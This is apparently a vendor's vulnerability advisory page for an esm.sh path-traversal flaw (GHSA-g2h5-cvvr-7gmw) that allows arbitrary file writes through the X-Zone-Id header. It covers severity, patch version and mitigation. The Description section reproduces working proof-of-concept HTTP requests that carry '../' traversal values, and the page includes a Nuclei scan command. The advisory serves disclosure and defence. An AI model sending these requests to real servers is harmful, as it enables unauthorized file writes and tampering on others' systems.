How severe is GHSA-g2h5-cvvr-7gmw?

No CVSS score has been assigned to GHSA-g2h5-cvvr-7gmw yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-g2h5-cvvr-7gmw?

GHSA-g2h5-cvvr-7gmw affects the following packages: github.com/esm-dev/esm.sh (Go). Ecosystems affected: Go.

How do I fix GHSA-g2h5-cvvr-7gmw?

Update github.com/esm-dev/esm.sh to 136.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g2h5-cvvr-7gmw is resolved across your whole dependency graph.

How do I detect GHSA-g2h5-cvvr-7gmw in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-g2h5-cvvr-7gmw if there is no patch (or I can't update yet)?

Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Is GHSA-g2h5-cvvr-7gmw actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-g2h5-cvvr-7gmw, including 1 documented proof-of-concept exploit on Exploit-DB. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-g2h5-cvvr-7gmw?

GHSA-g2h5-cvvr-7gmw has an EPSS (Exploit Prediction Scoring System) score of 3.2%, placing it in the 88th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-g2h5-cvvr-7gmw?

GHSA-g2h5-cvvr-7gmw is classified as CWE-24 (CWE-24). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

Is there exploit tooling available for GHSA-g2h5-cvvr-7gmw?

A Nuclei detection template exists for GHSA-g2h5-cvvr-7gmw, meaning automated scanners can fingerprint it. Public exploit tooling significantly increases real-world risk — prioritize patching and ensure detection coverage. Exploit tooling should only ever be used in isolated, authorized testing environments.

When was GHSA-g2h5-cvvr-7gmw published, and has it been updated?

GHSA-g2h5-cvvr-7gmw was published on September 17, 2025 and was last updated on September 10, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

Not in CISA KEV

esm.sh has arbitrary file write via path traversal in `X-Zone-Id` headerGHSA-g2h5-cvvr-7gmw

Fix: esm-dev/esm.sh@833a29f

GHSA-g2h5-cvvr-7gmw is a CWE-24 vulnerability in github.com/esm-dev/esm.sh. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for github.com/esm-dev/esm.sh — see the affected versions and patch details below.

Also known asCVE-2025-59342GO-2025-3967

Published

Sep 17, 2025

Updated

Sep 10, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

1 known

Exploitation data as of Nov 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-g2h5-cvvr-7gmw.

EPSS Exploitation Probability

via FIRST.org ↗

3.2%probability of exploitation in next 30 days

Lower Risk+0.12%

Lower risk than most CVEs88th percentile — riskier than 88% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

🐹github.com/esm-dev/esm.sh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/<id>/ instead of ~/.esmd/storage/modules/transform).

Severity: Medium

Component / Endpoint:

POST /transform — handling of X-Zone-Id header

The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411

Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.

Proof of Concept (POC)

Request (attacker-supplied X-Zone-Id contains path traversal):

POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325

{
  "filename": "example2.js",
  "lang": "js",
  "code": "console.log('hello');",
  "importMap": {
    "imports": {
      "react": "https://esm.sh/react",
      "react-dom": "https://esm.sh/react-dom"
    }
  },
  "jsxImportSource": "react",
  "target": "es2022",
  "sourceMap": "external",
  "minify": true
}

Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.

This can be trigger with another path traversal request below

GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/

Remediation

Simply remove any .. in the X-Zone-Id header before actually process the file.

Credits

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/esm-dev/esm.sh`	all versions	136.1`go get github.com/esm-dev/esm.sh@v136.1`

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

EDB-52461webappsmultiple

esm-dev 136 - Path Traversal

by Byte Reaper · Dec 16, 2025

Exploit-DB Source

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/esm-dev/esm.sh to 136.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g2h5-cvvr-7gmw is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

How to detect GHSA-g2h5-cvvr-7gmw

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id ghsa-g2h5-cvvr-7gmw -u https://target

Template: esm.sh <= v136 - Arbitrary File Write via Path Traversal
Severity: medium

Template by ProjectDiscovery nuclei-templates (0x_Akoko), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

## Summary A path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/<id>/` instead of `~/.esmd/storage/modules/transform`). **Severity:** Medium **Component / Endpoint:** `POST /transform`

O3 Security · Impact-Aware SCA

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